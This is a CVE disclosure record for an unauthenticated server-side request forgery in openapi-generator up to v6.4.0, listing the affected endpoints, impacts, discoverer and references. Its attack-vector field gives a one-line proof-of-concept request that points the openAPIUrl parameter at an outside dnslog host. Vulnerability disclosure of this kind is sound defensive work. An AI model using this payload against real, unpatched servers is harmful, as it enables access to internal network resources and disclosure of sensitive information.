CVE-2023-27162

[description]
openapi-generator up to v6.4.0 was discovered to contain a Server-Side
Request Forgery (SSRF) via the component /api/gen/clients/{language}.
This vulnerability allows attackers to access network resources and
sensitive information via a crafted API request.
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[VulnerabilityType Other]
Server-Side Request Forgery (SSRF)
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[Vendor of Product]
https://github.com/OpenAPITools/openapi-generator
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[Affected Product Code Base]
openapi-generator - <= v6.4.0
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[Affected Component]
The API endpoints /api/gen/clients/{language}, /api/gen/servers/{framework} are vulnerable to unauthenticated Server-Side Request Forgery (SSRF) attacks via the openAPIUrl parameter.
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[Attack Type]
Remote
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[Impact Escalation of Privileges]
true
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[Impact Information Disclosure]
true
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[Attack Vectors]
POC: POST /api/gen/clients/{language} API with payload - "openAPIUrl": "https://dnslog_ip/petstore.yaml"
details can be seen: https://notes.sjtu.edu.cn/s/2_yki_2Xq
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[Discoverer]
beet1e
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[Reference]
http://openapi-generator.com
https://github.com/OpenAPITools/openapi-generator
https://notes.sjtu.edu.cn/s/2_yki_2Xq